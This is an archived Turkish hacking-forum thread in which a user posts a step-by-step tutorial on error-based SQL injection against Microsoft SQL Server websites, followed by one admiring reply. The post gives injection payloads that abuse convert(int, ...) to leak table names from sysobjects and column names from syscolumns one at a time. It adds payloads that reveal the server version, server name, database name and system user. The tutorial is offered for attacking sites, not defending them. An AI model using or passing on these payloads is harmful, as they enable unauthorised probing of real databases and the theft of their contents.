PDA

Orijinalini görmek için tıklayınız

eXTReMe Tracker
: Mssql de tablo ve kolon adlarını öğrenmek


TATAR!
12-02-2007, 08:48 AM
Mssql de tablo ve kolon adlarını öğrenmek | fat4l_c0de s.a

tablo ve kolon adlarının tahmin ile değil kesin olarak nasıl bulunacağını açıklamak istiyorum.

*[Microsoft][ODBC SQL Server Driver][SQL Server] serverlarda geçerlidir.Diğer sistemler için farklı yöntemler olabilir.Ancak convert fonk. mssql serverlarda işletebiliriz.

örn site : Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. olsun.

1.tablo adlarını öğrenmek

Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..(int,+(select+top+1+name+from+s ysobjects+where+xtype='U'+and+name>'u'))



adı 'u' dan sonra gelen tablo adını gösterir.tablo adı 'usergroups' çıktığını varsayalım.Eğer bundan sonraki tablo adını öğrenmek istiyorsak 'u' yerine 'usergroups' koyarız.'usergroups' tablosundan sonra 'users' tablosu geldiğini varsayalım.
Sırayla tablo adlarını öğrenmiş oluruz.'u' yerine istediğimizi yazabiliriz.Örn; 'a' koyarsak 'admingroups' tablosunun adınıda görebilmemiz muhtemeldir.

2.kolon adlarını öğrenmek

Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..(int,+(select+top+1+name+from+s yscolumns+where+colid=1+and+id=(select+top+1+id+fr om+sysobjects+where+xtype='U'+and+name='tabloadı') ))

'tabloadı' yerine kolonlarının(colomn) adlarını öğrenmek istediğimiz tablonun adını yazalım.'users' olsun.(Yukarıda tablo adını öğrenmiştik.)

colid=1 deki 1 kolonun kaçıncı kolon olduğunu gösterir.Başka tabirle id sidir.

convert(int,+(select+top+1+name+from+syscolumns+wh ere+colid=1+and+id=(select+top+1+id+from+sysobject s+where+xtype='U'+and+name='users')))

olarak uygularsak users tablosundaki 1.kolonun adını öğrenmiş oluruz.bunu 2 yaparsak 2.kolonun adı,3 yaparsak 3. kolonun adını öğrenmiş oluruz.

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

gibi bir hata alınca anlamamız gereken users tablosunda başka kolon olmadığıdır.
mesela;colid=8 de hata aldıysak demek ki users tablosunda toplam 7 kolon var.

Tablo ve kolon adlarını öğrenmek bu şekilde mümkündür.Kullanım olarak çok basittir ama anlatım biraz uzun sürdü.

Ayrıca convert fonk. kullanarak;

convert(int,@@version)-- ile server versiyonunu,
convert(int,@@servername)-- ile server adını,
convert(int,db_name())-- ile database adını,
convert(int,system_user)-- ile sistem kullanıcısını öğrenebilirsiniz.

Örnekler çoğaltılabilir.

AtaBey
12-02-2007, 10:53 AM
emeğe saygı !!!